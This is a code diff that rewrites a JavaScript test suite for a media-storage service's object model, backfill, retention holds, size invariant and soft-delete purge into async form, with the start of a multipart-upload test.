-assert.deepStrictEqual([s1.kind, s1.legacy_ref, s1.size_bytes], ['screenshot', 'legacy:live:paste:shot-one', 40]);
-assert.deepStrictEqual([av.kind, av.app_id, av.legacy_ref, av.visibility, av.mime_type], ['avatar', 'network', 'legacy:network:avatar:avatar-four', 'unlisted', 'image/webp']);
-assert.strictEqual(d.prepare('SELECT object_id FROM pastes WHERE id = 3').get().object_id, null, 'text pastes have no bytes object');
-
-const tv = model.getVariant(v1.id, 'thumbnail');
-const th = model.getObject(tv.derived_object_id);
-assert.deepStrictEqual([th.kind, th.legacy_ref, th.visibility, locs(th).local.state], ['thumbnail', 'legacy:live:thumbnail:vod-1-111.jpg', 'public', 'present']);
-assert.ok(d.prepare("SELECT 1 FROM media_relationships WHERE from_object_id = ? AND relation = 'thumbnail_of' AND to_object_id = ?").get(th.id, v1.id));
-console.log('✅ backfill: one object per row, locations mirror where the bytes are, relationships + thumbnail variants');
-
-// ── Idempotent ──
-const countAll = () => ['media_objects', 'media_locations', 'media_relationships', 'media_variants'].map(t => d.prepare(`SELECT COUNT(*) c FROM ${t}`).get().c);
-const before = countAll();
-const again = backfill();
-assert.strictEqual(again.totals.created, 0, 'a re-run creates nothing');
-assert.strictEqual(again.counts.vod.updated, 6);
-assert.deepStrictEqual(countAll(), before);
-assert.strictEqual(objOf('vods', 1).id, v1.id, 'ids are stable');
-assert.strictEqual(backfill({ onlyMissing: true }).totals.created, 0, 'only-missing finds nothing new');
-console.log('✅ backfill is idempotent');
-
-// ── Remote knowledge survives a re-projection ──
-model.setLocationState(locs(v2).b2.id, { state: 'present', size_bytes: 5 * MB });
-model.sync('vod', 2);
-assert.strictEqual(locs(v2).b2.state, 'present', 'a verified remote copy is not downgraded to pending');
-console.log('✅ verified remote state is kept across syncs');
-
-// ── Write hooks on the inherited APIs ──
-write(path.join(process.env.FILES_PATH, 'live', 'def456-b.png'), 20);
-db.createFile({ key: 'def456-b.png', app_id: 'live', user_id: 3, original_name: 'b.png', size: 20, mime: 'image/png', sha256: 'b'.repeat(64) });
-assert.strictEqual(objOf('files', 'def456-b.png').content_hash, 'b'.repeat(64), 'file upload creates its object');
-db.setVodVisibility(1, 'private');
-assert.strictEqual(model.getObject(v1.id).visibility, 'private', 'visibility follows');
-assert.strictEqual(model.getObject(th.id).visibility, 'unlisted', 'a private vod thumbnail is still reachable by name: unlisted');
-// Thumbnail regenerated: same object, new file.
-write(path.join(process.env.THUMBNAILS_PATH, 'vod-1-222.jpg'), 60);
-db.run("UPDATE vods SET thumbnail_url = '/t/vod-1-222.jpg' WHERE id = 1");
-model.sync('vod', 1);
-const th2 = model.getObject(model.getVariant(v1.id, 'thumbnail').derived_object_id);
-assert.strictEqual(th2.id, th.id, 'one thumbnail object per parent, updated in place');
-assert.deepStrictEqual([th2.legacy_ref, th2.size_bytes], ['legacy:live:thumbnail:vod-1-222.jpg', 60]);
-const newClip = db.createClip({ app_id: 'live', vod_id: 1, user_id: 9, title: 'N', file_path: clipFile, status: 'ready' }).lastInsertRowid;
-assert.strictEqual(objOf('clips', newClip).kind, 'clip', 'clip creation creates its object');
-db.run('DELETE FROM clips WHERE id = ?', [newClip]);
-const deadClip = d.prepare('SELECT * FROM media_objects WHERE legacy_ref = ?').get(`legacy:live:clip:${newClip}`);
-assert.strictEqual(deadClip.lifecycle_status, 'deleted', 'deleting the row marks its object deleted (trigger — every delete path)');
-assert.ok(deadClip.deleted_at);
-console.log('✅ inherited writes keep the model current');
-
-// ── Tier move re-projection ──
-const v4row = d.prepare('SELECT * FROM vods WHERE id = 4').get();
-db.run("UPDATE vods SET storage_provider = 'b2', storage_key = 'vods/gone.webm' WHERE id = 4");
-model.afterTierMove(4, ['b2']);
-assert.deepStrictEqual(Object.keys(locs(v4)), ['b2'], 'after offload: the local row goes, the B2 copy appears');
-assert.strictEqual(locs(v4).b2.state, 'present', 'the copy the move verified is present');
-assert.ok(locs(v4).b2.verified_at);
-assert.ok(v4row);
-console.log('✅ tier moves update media_locations');
-
(async () => {
(async () => {
- // ── Retention holds ──
- const hold = model.placeHold({ object_id: v1.id, kind: 'dmca', reason: 'notice #1', created_by: 'admin:alex' });
- assert.strictEqual(model.isHeld(v1.id), true);
- assert.throws(() => db.run('DELETE FROM vods WHERE id = 1'), /retention hold/, 'a held row cannot be deleted by any path');
- assert.ok(d.prepare('SELECT 1 FROM vods WHERE id = 1').get(), 'row still there');
- assert.throws(() => db.run("UPDATE media_objects SET lifecycle_status = 'deleted' WHERE id = ?", [v1.id]), /retention hold/);
- await vodStorage.deleteVodObjects(d.prepare('SELECT * FROM vods WHERE id = 1').get());
- assert.ok(fs.existsSync(vodFile), 'held bytes are not deleted');
- const cold = await vodStorage.moveToCold(1);
- assert.deepStrictEqual([cold.ok, cold.held], [false, true], 'held objects are not demoted to B2');
- const prom = await vodStorage.promoteToR2(1);
- assert.strictEqual(prom.held, true, 'nor promoted');
- db.run("UPDATE vods SET storage_provider = 'r2' WHERE id = 1");
- assert.strictEqual((await vodStorage.demoteFromR2(1)).held, true, 'nor demoted from R2');
- db.run("UPDATE vods SET storage_provider = 'local' WHERE id = 1");
- assert.throws(() => model.placeHold({ object_id: v1.id, kind: 'whim' }), /hold kind/);
- model.releaseHold(hold.id, 'admin:alex');
- assert.strictEqual(model.isHeld(v1.id), false);
- assert.strictEqual(model.listHolds(v1.id, { includeReleased: true })[0].released_by, 'admin:alex');
- console.log('✅ holds block deletion and tier moves until released');
-
- // ── Invariant (thresholds from env: target 1, warn 2, max 3 MB) ──
- assert.strictEqual(invariant.classify(0.5 * MB), 'ok');
- assert.strictEqual(invariant.classify(1.5 * MB), 'above_target');
- assert.strictEqual(invariant.classify(2.5 * MB), 'warn');
- assert.strictEqual(invariant.classify(5 * MB), 'violation');
- assert.strictEqual(invariant.wouldViolate({ kind: 'vod', visibility: 'private', size_bytes: 9 * MB }), false, 'private objects are not public playback');
- assert.strictEqual(invariant.wouldViolate({ kind: 'file', visibility: 'public', size_bytes: 9 * MB }), false, 'only playback kinds');
- const rows = () => d.prepare('SELECT o.legacy_ref, v.level, v.resolved_at FROM media_invariant_violations v JOIN media_objects o ON o.id = v.object_id ORDER BY o.legacy_ref').all();
- assert.deepStrictEqual(rows().map(x => [x.legacy_ref, x.level, x.resolved_at]), [['legacy:live:vod:2', 'violation', null], ['legacy:live:vod:3', 'warn', null]], 'sync records public playback objects over warn/max');
- const scan = invariant.scan({ record: false });
- assert.deepStrictEqual(scan.counts, { ok: 2, above_target: 0, warn: 1, violation: 1 }); // ok: clip 1, vod 4 (vod 1 is private now)
- db.setVodVisibility(3, 'private');
- assert.ok(rows().find(x => x.legacy_ref === 'legacy:live:vod:3').resolved_at, 'making it private resolves the row');
- console.log('✅ public object-size invariant is policy: classified, recorded, resolved');
-
- // ── Native soft delete + purge ──
- const nid = model.createObject({ app_id: 'live', kind: 'file', lifecycle_status: 'ready', visibility: 'private', size_bytes: 4 });
- const npath = write(model.objectFilePath(model.getObject(nid)), 4);
- model.upsertLocation(nid, { provider: 'local', key: npath, state: 'present', size_bytes: 4 });
- const heldId = model.createObject({ app_id: 'live', kind: 'file', lifecycle_status: 'ready', size_bytes: 4 });
- const hpath = write(model.objectFilePath(model.getObject(heldId)), 4);
- model.upsertLocation(heldId, { provider: 'local', key: hpath, state: 'present' });
- const deleted = model.softDelete(model.getObject(nid), { by: 'test' });
- assert.strictEqual(deleted.lifecycle_status, 'deleted');
- assert.ok(model.parseJson(deleted.metadata).retention_until, 'retention recorded');
- assert.ok(fs.existsSync(npath), 'soft delete keeps the bytes');
- assert.strictEqual(model.purgeExpired({ retentionDays: 1 }), 0, 'inside the retention period nothing is purged');
- const h2 = model.placeHold({ object_id: heldId, kind: 'evidence' });
- assert.throws(() => model.softDelete(model.getObject(heldId)), (e) => e.code === 'media.object.held');
- model.releaseHold(h2.id);
- model.softDelete(model.getObject(heldId));
- model.placeHold({ object_id: heldId, kind: 'evidence' }); // held after deletion: still kept
- assert.strictEqual(model.purgeExpired({ retentionDays: 0 }), 1);
- assert.ok(!fs.existsSync(npath), 'expired native bytes are purged');
- assert.ok(fs.existsSync(hpath), 'held bytes survive the purge');
- assert.ok(model.parseJson(model.getObject(nid).metadata).purged_at);
- assert.strictEqual(model.restore(model.getObject(nid)), null, 'a purged object cannot be restored');
- console.log('✅ native soft delete keeps bytes for the retention period; purge skips held objects');
-
- fs.rmSync(tmp, { recursive: true, force: true });
- console.log('objects model + backfill: all checks passed');
+ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-objects-'));
+ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
+ process.env.DB_PATH = path.join(tmp, 'media.db');
+ process.env.VOD_PATH = dir('vods');
+ process.env.CLIPS_PATH = dir('clips');
+ process.env.FILES_PATH = dir('files');
+ process.env.THUMBNAILS_PATH = dir('thumbnails');
+ process.env.PASTES_PATH = dir('pastes');
+ process.env.OBJECTS_PATH = dir('objects');
+ process.env.MEDIA_PUBLIC_URL = 'https://media.test';
+ process.env.MEDIA_B2_BUCKET = 'bkt-b2'; // bucket name only: no endpoint, so B2 is not configured
+ process.env.MEDIA_R2_BUCKET = 'bkt-r2';
+ process.env.MEDIA_PUBLIC_OBJECT_TARGET_MB = '1';
+ process.env.MEDIA_PUBLIC_OBJECT_WARN_MB = '2';
+ process.env.MEDIA_PUBLIC_OBJECT_MAX_MB = '3';
+
+ const contracts = require('openvibe-contracts');
+ const db = require('../server/db/database');
+ const model = require('../server/objects/model');
+ const { backfill } = require('../server/objects/backfill');
+ const invariant = require('../server/objects/invariant');
+ const vodStorage = require('../server/vod/vod-storage');
+ // The revisioned tier policies load once the database is open (server/index.js does this at boot).
+ await vodStorage.tierConfig.init(vodStorage.DEFAULTS);
+ await require('../server/objects/tier-policy').init();
+
+ const MB = 1024 * 1024;
+ const MED = /^med_[0-9A-HJKMNP-TV-Z]{26}$/;
+ const d = db.getDb();
+ const write = (p, bytes) => { fs.mkdirSync(path.dirname(p), { recursive: true }); fs.writeFileSync(p, Buffer.alloc(bytes, 7)); return p; };
+ const objOf = async (table, id) => await model.getObject((await d.prepare(`SELECT object_id FROM ${table} WHERE ${table === 'files' ? 'key' : 'id'} = ?`).get(id)).object_id);
+ const locs = async (o) => Object.fromEntries((await model.listLocations(o.id)).map(l => [l.provider, l]));
+
+ // ── Inherited rows, inserted raw (no hooks), the way the cutover import left them ──
+ const vodFile = write(path.join(process.env.VOD_PATH, 'vod-live-1.webm'), 1000);
+ write(path.join(process.env.THUMBNAILS_PATH, 'vod-1-111.jpg'), 50);
+ const insVod = d.prepare(`INSERT INTO vods (id, app_id, user_id, title, file_path, file_size, duration_seconds, visibility, is_public, storage_provider, storage_key, thumbnail_url, clips_only, is_recording, created_at) OVERRIDING SYSTEM VALUE
+ VALUES (@id, @app, @user, @title, @file, @size, @dur, @vis, @pub, @prov, @key, @thumb, @co, 0, @at) RETURNING id`);
+ const V = async (o) => await insVod.run({ app: 'live', user: 5, title: 'V', file: null, size: 0, dur: 60, vis: 'public', pub: 1, prov: 'local', key: null, thumb: null, co: 0, at: '2025-06-01 10:00:00', ...o });
+ await V({ id: 1, file: vodFile, size: 1000, thumb: '/t/vod-1-111.jpg', at: '2025-01-01 00:00:00' }); // local, present
+ await V({ id: 2, file: '/old/host/vods/old.webm', size: 5 * MB, vis: 'unlisted', pub: 0, prov: 'b2', key: 'vods/old.webm' }); // offloaded
+ await V({ id: 3, file: '/old/host/vods/pop.mp4', size: 2.5 * MB, prov: 'r2', key: 'vods/pop.mp4', thumb: 'https://elsewhere.example/x.jpg' });
+ await V({ id: 4, file: '/opt/hobostreamer/data/vods/gone.webm', size: 50 }); // local but gone
+ await V({ id: 5, file: path.join(process.env.VOD_PATH, 'eph.webm'), co: 1 }); // clips-only
+ await V({ id: 6, dur: 0 }); // ghost: no file yet
+ await V({ id: 7, app: 'games', file: vodFile, size: 1000, vis: 'private', pub: 0 });
+ const clipFile = write(path.join(process.env.CLIPS_PATH, 'clip-1.webm'), 300);
+ await d.prepare("INSERT INTO clips (id, app_id, vod_id, user_id, title, file_path, status, visibility, is_public, start_time, end_time) OVERRIDING SYSTEM VALUE VALUES (1, 'live', 1, 9, 'C', ?, 'ready', 'public', 1, 5, 15) RETURNING id").run(clipFile);
+ await d.prepare("INSERT INTO clips (id, app_id, vod_id, user_id, title, file_path, status) OVERRIDING SYSTEM VALUE VALUES (2, 'live', 1, 9, 'C2', '', 'processing') RETURNING id").run();
+ write(path.join(process.env.FILES_PATH, 'live', 'abc123-a.txt'), 12);
+ await d.prepare("INSERT INTO files (key, app_id, user_id, original_name, size, mime, sha256) VALUES ('abc123-a.txt', 'live', 3, 'a.txt', 12, 'text/plain', ?)").run('a'.repeat(64));
+ const shot = write(path.join(process.env.PASTES_PATH, 'screenshots', 's1.png'), 40);
+ const avatar = write(path.join(process.env.PASTES_PATH, 'screenshots', 'avatar-n4.webp'), 30);
+ await d.prepare("INSERT INTO pastes (id, app_id, slug, user_id, type, title, content, visibility, screenshot_path, metadata) OVERRIDING SYSTEM VALUE VALUES (1, 'live', 'shot-one', 2, 'screenshot', 'S', '', 'public', ?, NULL) RETURNING id").run(shot);
+ await d.prepare("INSERT INTO pastes (id, app_id, slug, user_id, type, title, content, visibility, screenshot_path, metadata) OVERRIDING SYSTEM VALUE VALUES (2, 'network', 'avatar-four', 4, 'screenshot', 'Avatar', '', 'unlisted', ?, ?) RETURNING id").run(avatar, JSON.stringify({ kind: 'avatar', mime_type: 'image/webp' }));
+ await d.prepare("INSERT INTO pastes (id, app_id, slug, type, title, content, visibility) OVERRIDING SYSTEM VALUE VALUES (3, 'live', 'text-three', 'paste', 'T', 'hello', 'public') RETURNING id").run();
+ await d.prepare("INSERT INTO pastes (id, app_id, slug, type, title, content, visibility, screenshot_path) OVERRIDING SYSTEM VALUE VALUES (4, 'live', 'shot-nopath', 'screenshot', 'S', '', 'public', NULL) RETURNING id").run();
+ const mtimes = [vodFile, clipFile, shot, avatar].map(p => fs.statSync(p).mtimeMs);
+
+ // ── Dry run: a full report, nothing written ──
+ const dry = await backfill({ dryRun: true });
+ assert.strictEqual(dry.dry_run, true);
+ assert.deepStrictEqual(dry.counts.vod, { seen: 7, created: 6, updated: 0, skipped: 1 });
+ assert.strictEqual((await d.prepare('SELECT COUNT(*) c FROM media_objects').get()).c, 0, 'dry run writes no objects');
+ assert.strictEqual((await d.prepare('SELECT COUNT(*) c FROM vods WHERE object_id IS NOT NULL').get()).c, 0, 'dry run links no rows');
+ assert.strictEqual(model.parseJson((await d.prepare("SELECT value FROM media_settings WHERE key = 'objects.backfill.last_report'").get())?.value, null), null, 'dry run stores no report');
+ console.log('✅ dry run reports without writing');
+
+ // ── Real run ──
+ const r = await backfill();
+ assert.deepStrictEqual(r.counts.vod, { seen: 7, created: 6, updated: 0, skipped: 1 });
+ assert.deepStrictEqual(r.counts.clip, { seen: 2, created: 2, updated: 0, skipped: 0 });
+ assert.deepStrictEqual(r.counts.file, { seen: 1, created: 1, updated: 0, skipped: 0 });
+ assert.deepStrictEqual(r.counts.screenshot, { seen: 2, created: 1, updated: 0, skipped: 1 });
+ assert.deepStrictEqual(r.counts.avatar, { seen: 1, created: 1, updated: 0, skipped: 0 });
+ assert.deepStrictEqual(r.counts.thumbnail, { seen: 2, created: 1, updated: 0, skipped: 1 });
+ assert.deepStrictEqual(r.skipped.map(s => s.reason).sort(), ['clips-only recording (ephemeral, never published)', 'external thumbnail url', 'screenshot paste without a file path']);
+ assert.deepStrictEqual(r.errors, []);
+ assert.ok(await d.prepare("SELECT value FROM media_settings WHERE key = 'objects.backfill.last_report'").get(), 'report recorded');
+ assert.deepStrictEqual([vodFile, clipFile, shot, avatar].map(p => fs.statSync(p).mtimeMs), mtimes, 'no bytes touched');
+
+ const v1 = await objOf('vods', 1), v2 = await objOf('vods', 2), v3 = await objOf('vods', 3), v4 = await objOf('vods', 4), v6 = await objOf('vods', 6), v7 = await objOf('vods', 7);
+ for (const o of [v1, v2, v3, v4, v6, v7]) {
+ assert.ok(MED.test(o.id), o.id);
+ assert.ok(contracts.validate('media.media-ref@1', { media_id: o.id }).valid, 'canonical id is a valid media-ref');
+ assert.ok(contracts.validate('media.media-ref@1', { media_id: o.legacy_ref }).valid, `legacy ref valid: ${o.legacy_ref}`);
+ }
+ assert.ok(v1.id < v2.id, 'ids sort by the original creation time');
+ assert.strictEqual(v1.legacy_ref, 'legacy:live:vod:1');
+ assert.deepStrictEqual([v1.kind, v1.visibility, v1.lifecycle_status, v1.size_bytes, v1.owner_app, v1.owner_user_id, v1.mime_type], ['vod', 'public', 'ready', 1000, 'live', 5, 'video/webm']);
+ assert.strictEqual((await locs(v1)).local.state, 'present');
+ assert.strictEqual((await locs(v1)).local.key, vodFile);
+ assert.ok((await locs(v1)).local.verified_at, 'a local file that exists is verified present');
+ assert.deepStrictEqual([v1.canonical_provider, v1.canonical_key], ['local', vodFile]);
+ assert.deepStrictEqual(Object.keys(await locs(v2)), ['b2'], 'offloaded vod: B2 copy only');
+ assert.deepStrictEqual([(await locs(v2)).b2.state, (await locs(v2)).b2.bucket, (await locs(v2)).b2.key, (await locs(v2)).b2.storage_class, v2.canonical_provider], ['pending', 'bkt-b2', 'vods/old.webm', 'cold', 'b2']);
+ assert.deepStrictEqual(Object.keys(await locs(v3)).sort(), ['b2', 'r2'], 'R2 cache implies the B2 canonical');
+ assert.deepStrictEqual([(await locs(v3)).r2.state, (await locs(v3)).r2.storage_class, v3.canonical_provider], ['pending', 'cache', 'b2']);
+ assert.strictEqual((await locs(v4)).local.state, 'missing', 'a local file that is not on disk is recorded missing');
+ assert.strictEqual((await model.listLocations(v6.id)).length, 0);
+ assert.strictEqual(v6.lifecycle_status, 'uploading');
+ assert.deepStrictEqual([v7.app_id, v7.namespace, v7.visibility], ['games', 'games', 'private']);
+ assert.strictEqual((await d.prepare('SELECT object_id FROM vods WHERE id = 5').get()).object_id, null, 'clips-only row stays unprojected');
+
+ const c1 = await objOf('clips', 1), c2 = await objOf('clips', 2);
+ assert.deepStrictEqual([c1.kind, c1.lifecycle_status, c1.size_bytes, (await locs(c1)).local.state], ['clip', 'ready', 300, 'present']);
+ assert.strictEqual(c2.lifecycle_status, 'uploading', 'a clip still being cut is uploading');
+ const rel = await d.prepare("SELECT * FROM media_relationships WHERE from_object_id = ? AND relation = 'clip_of'").get(c1.id);
+ assert.strictEqual(rel.to_object_id, v1.id, 'clip_of links the clip to its vod');
+ assert.deepStrictEqual(JSON.parse(rel.metadata), { start_time: 5, end_time: 15 });
+
+ const f = await objOf('files', 'abc123-a.txt');
+ assert.deepStrictEqual([f.kind, f.visibility, f.content_hash, f.mime_type, f.legacy_ref, (await locs(f)).local.checksum], ['file', 'public', 'a'.repeat(64), 'text/plain', 'legacy:live:file:abc123-a.txt', 'a'.repeat(64)]);
+ const s1 = await objOf('pastes', 1), av = await objOf('pastes', 2);
+ assert.deepStrictEqual([s1.kind, s1.legacy_ref, s1.size_bytes], ['screenshot', 'legacy:live:paste:shot-one', 40]);
+ assert.deepStrictEqual([av.kind, av.app_id, av.legacy_ref, av.visibility, av.mime_type], ['avatar', 'network', 'legacy:network:avatar:avatar-four', 'unlisted', 'image/webp']);
+ assert.strictEqual((await d.prepare('SELECT object_id FROM pastes WHERE id = 3').get()).object_id, null, 'text pastes have no bytes object');
+
+ const tv = await model.getVariant(v1.id, 'thumbnail');
+ const th = await model.getObject(tv.derived_object_id);
+ assert.deepStrictEqual([th.kind, th.legacy_ref, th.visibility, (await locs(th)).local.state], ['thumbnail', 'legacy:live:thumbnail:vod-1-111.jpg', 'public', 'present']);
+ assert.ok(await d.prepare("SELECT 1 FROM media_relationships WHERE from_object_id = ? AND relation = 'thumbnail_of' AND to_object_id = ?").get(th.id, v1.id));
+ console.log('✅ backfill: one object per row, locations mirror where the bytes are, relationships + thumbnail variants');
+
+ // ── Idempotent ──
+ const countAll = async () => (await Promise.all(['media_objects', 'media_locations', 'media_relationships', 'media_variants'].map(async t => (await d.prepare(`SELECT COUNT(*) c FROM ${t}`).get()).c)));
+ const before = await countAll();
+ const again = await backfill();
+ assert.strictEqual(again.totals.created, 0, 'a re-run creates nothing');
+ assert.strictEqual(again.counts.vod.updated, 6);
+ assert.deepStrictEqual(await countAll(), before);
+ assert.strictEqual((await objOf('vods', 1)).id, v1.id, 'ids are stable');
+ assert.strictEqual((await backfill({ onlyMissing: true })).totals.created, 0, 'only-missing finds nothing new');
+ console.log('✅ backfill is idempotent');
+
+ // ── Remote knowledge survives a re-projection ──
+ await model.setLocationState((await locs(v2)).b2.id, { state: 'present', size_bytes: 5 * MB });
+ await model.sync('vod', 2);
+ assert.strictEqual((await locs(v2)).b2.state, 'present', 'a verified remote copy is not downgraded to pending');
+ console.log('✅ verified remote state is kept across syncs');
+
+ // ── Write hooks on the inherited APIs ──
+ write(path.join(process.env.FILES_PATH, 'live', 'def456-b.png'), 20);
+ await db.createFile({ key: 'def456-b.png', app_id: 'live', user_id: 3, original_name: 'b.png', size: 20, mime: 'image/png', sha256: 'b'.repeat(64) });
+ assert.strictEqual((await objOf('files', 'def456-b.png')).content_hash, 'b'.repeat(64), 'file upload creates its object');
+ await db.setVodVisibility(1, 'private');
+ assert.strictEqual((await model.getObject(v1.id)).visibility, 'private', 'visibility follows');
+ assert.strictEqual((await model.getObject(th.id)).visibility, 'unlisted', 'a private vod thumbnail is still reachable by name: unlisted');
+ // Thumbnail regenerated: same object, new file.
+ write(path.join(process.env.THUMBNAILS_PATH, 'vod-1-222.jpg'), 60);
+ await db.run("UPDATE vods SET thumbnail_url = '/t/vod-1-222.jpg' WHERE id = 1");
+ await model.sync('vod', 1);
+ const th2 = await model.getObject((await model.getVariant(v1.id, 'thumbnail')).derived_object_id);
+ assert.strictEqual(th2.id, th.id, 'one thumbnail object per parent, updated in place');
+ assert.deepStrictEqual([th2.legacy_ref, th2.size_bytes], ['legacy:live:thumbnail:vod-1-222.jpg', 60]);
+ const newClip = (await db.createClip({ app_id: 'live', vod_id: 1, user_id: 9, title: 'N', file_path: clipFile, status: 'ready' })).lastInsertRowid;
+ assert.strictEqual((await objOf('clips', newClip)).kind, 'clip', 'clip creation creates its object');
+ await db.run('DELETE FROM clips WHERE id = ?', [newClip]);
+ const deadClip = await d.prepare('SELECT * FROM media_objects WHERE legacy_ref = ?').get(`legacy:live:clip:${newClip}`);
+ assert.strictEqual(deadClip.lifecycle_status, 'deleted', 'deleting the row marks its object deleted (trigger — every delete path)');
+ assert.ok(deadClip.deleted_at);
+ console.log('✅ inherited writes keep the model current');
+
+ // ── Tier move re-projection ──
+ const v4row = await d.prepare('SELECT * FROM vods WHERE id = 4').get();
+ await db.run("UPDATE vods SET storage_provider = 'b2', storage_key = 'vods/gone.webm' WHERE id = 4");
+ await model.afterTierMove(4, ['b2']);
+ assert.deepStrictEqual(Object.keys(await locs(v4)), ['b2'], 'after offload: the local row goes, the B2 copy appears');
+ assert.strictEqual((await locs(v4)).b2.state, 'present', 'the copy the move verified is present');
+ assert.ok((await locs(v4)).b2.verified_at);
+ assert.ok(v4row);
+ console.log('✅ tier moves update media_locations');
+
+ (async () => {
+ // ── Retention holds ──
+ const hold = await model.placeHold({ object_id: v1.id, kind: 'dmca', reason: 'notice #1', created_by: 'admin:alex' });
+ assert.strictEqual(await model.isHeld(v1.id), true);
+ await assert.rejects(async () => await db.run('DELETE FROM vods WHERE id = 1'), /retention hold/, 'a held row cannot be deleted by any path');
+ assert.ok(await d.prepare('SELECT 1 FROM vods WHERE id = 1').get(), 'row still there');
+ await assert.rejects(async () => await db.run("UPDATE media_objects SET lifecycle_status = 'deleted' WHERE id = ?", [v1.id]), /retention hold/);
+ await vodStorage.deleteVodObjects(await d.prepare('SELECT * FROM vods WHERE id = 1').get());
+ assert.ok(fs.existsSync(vodFile), 'held bytes are not deleted');
+ const cold = await vodStorage.moveToCold(1);
+ assert.deepStrictEqual([cold.ok, cold.held], [false, true], 'held objects are not demoted to B2');
+ const prom = await vodStorage.promoteToR2(1);
+ assert.strictEqual(prom.held, true, 'nor promoted');
+ await db.run("UPDATE vods SET storage_provider = 'r2' WHERE id = 1");
+ assert.strictEqual((await vodStorage.demoteFromR2(1)).held, true, 'nor demoted from R2');
+ await db.run("UPDATE vods SET storage_provider = 'local' WHERE id = 1");
+ await assert.rejects(async () => await model.placeHold({ object_id: v1.id, kind: 'whim' }), /hold kind/);
+ await model.releaseHold(hold.id, 'admin:alex');
+ assert.strictEqual(await model.isHeld(v1.id), false);
+ assert.strictEqual((await model.listHolds(v1.id, { includeReleased: true }))[0].released_by, 'admin:alex');
+ console.log('✅ holds block deletion and tier moves until released');
+
+ // ── Invariant (thresholds from env: target 1, warn 2, max 3 MB) ──
+ assert.strictEqual(invariant.classify(0.5 * MB), 'ok');
+ assert.strictEqual(invariant.classify(1.5 * MB), 'above_target');
+ assert.strictEqual(invariant.classify(2.5 * MB), 'warn');
+ assert.strictEqual(invariant.classify(5 * MB), 'violation');
+ assert.strictEqual(invariant.wouldViolate({ kind: 'vod', visibility: 'private', size_bytes: 9 * MB }), false, 'private objects are not public playback');
+ assert.strictEqual(invariant.wouldViolate({ kind: 'file', visibility: 'public', size_bytes: 9 * MB }), false, 'only playback kinds');
+ const rows = async () => await d.prepare('SELECT o.legacy_ref, v.level, v.resolved_at FROM media_invariant_violations v JOIN media_objects o ON o.id = v.object_id ORDER BY o.legacy_ref').all();
+ assert.deepStrictEqual((await rows()).map(x => [x.legacy_ref, x.level, x.resolved_at]), [['legacy:live:vod:2', 'violation', null], ['legacy:live:vod:3', 'warn', null]], 'sync records public playback objects over warn/max');
+ const scan = await invariant.scan({ record: false });
+ assert.deepStrictEqual(scan.counts, { ok: 2, above_target: 0, warn: 1, violation: 1 }); // ok: clip 1, vod 4 (vod 1 is private now)
+ await db.setVodVisibility(3, 'private');
+ assert.ok((await rows()).find(x => x.legacy_ref === 'legacy:live:vod:3').resolved_at, 'making it private resolves the row');
+ console.log('✅ public object-size invariant is policy: classified, recorded, resolved');
+
+ // ── Native soft delete + purge ──
+ const nid = await model.createObject({ app_id: 'live', kind: 'file', lifecycle_status: 'ready', visibility: 'private', size_bytes: 4 });
+ const npath = write(model.objectFilePath(await model.getObject(nid)), 4);
+ await model.upsertLocation(nid, { provider: 'local', key: npath, state: 'present', size_bytes: 4 });
+ const heldId = await model.createObject({ app_id: 'live', kind: 'file', lifecycle_status: 'ready', size_bytes: 4 });
+ const hpath = write(model.objectFilePath(await model.getObject(heldId)), 4);
+ await model.upsertLocation(heldId, { provider: 'local', key: hpath, state: 'present' });
+ const deleted = await model.softDelete(await model.getObject(nid), { by: 'test' });
+ assert.strictEqual(deleted.lifecycle_status, 'deleted');
+ assert.ok(model.parseJson(deleted.metadata).retention_until, 'retention recorded');
+ assert.ok(fs.existsSync(npath), 'soft delete keeps the bytes');
+ assert.strictEqual(await model.purgeExpired({ retentionDays: 1 }), 0, 'inside the retention period nothing is purged');
+ const h2 = await model.placeHold({ object_id: heldId, kind: 'evidence' });
+ await assert.rejects(async () => await model.softDelete(await model.getObject(heldId)), (e) => e.code === 'media.object.held');
+ await model.releaseHold(h2.id);
+ await model.softDelete(await model.getObject(heldId));
+ await model.placeHold({ object_id: heldId, kind: 'evidence' }); // held after deletion: still kept
+ assert.strictEqual(await model.purgeExpired({ retentionDays: 0 }), 1);
+ assert.ok(!fs.existsSync(npath), 'expired native bytes are purged');
+ assert.ok(fs.existsSync(hpath), 'held bytes survive the purge');
+ assert.ok(model.parseJson((await model.getObject(nid)).metadata).purged_at);
+ assert.strictEqual(await model.restore(await model.getObject(nid)), null, 'a purged object cannot be restored');
+ console.log('✅ native soft delete keeps bytes for the retention period; purge skips held objects');
+
+ fs.rmSync(tmp, { recursive: true, force: true });
+ console.log('objects model + backfill: all checks passed');
+ })().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
@@ -10,224 +10,226 @@ const path = require('path');
@@ -10,224 +10,226 @@ const path = require('path');
const http = require('http');
const http = require('http');
const crypto = require('crypto');
const crypto = require('crypto');
-const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-multipart-'));
-const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
-process.env.DB_PATH = path.join(tmp, 'media.db');
-process.env.VOD_PATH = dir('vods');
-process.env.FILES_PATH = dir('files');
-process.env.OBJECTS_PATH = dir('objects');
-process.env.THUMBNAILS_PATH = dir('thumbnails');
-process.env.MEDIA_PUBLIC_URL = 'https://media.test';
-process.env.MEDIA_SIGNING_SECRET = 'test-signing-secret';
-process.env.MEDIA_OBJECT_MAX_MB = '1'; // single-part limit
-process.env.MEDIA_MULTIPART_MAX_MB = '4';
-process.env.MEDIA_MULTIPART_MIN_PART_MB = '0'; // small parts in tests
-process.env.MEDIA_UPLOAD_MIN_FREE_MB = '0';
+(async () => {
+ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-multipart-'));
+ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
+ process.env.DB_PATH = path.join(tmp, 'media.db');
+ process.env.VOD_PATH = dir('vods');
+ process.env.FILES_PATH = dir('files');
+ process.env.OBJECTS_PATH = dir('objects');
+ process.env.THUMBNAILS_PATH = dir('thumbnails');
+ process.env.MEDIA_PUBLIC_URL = 'https://media.test';
+ process.env.MEDIA_SIGNING_SECRET = 'test-signing-secret';
+ process.env.MEDIA_OBJECT_MAX_MB = '1'; // single-part limit
+ process.env.MEDIA_MULTIPART_MAX_MB = '4';
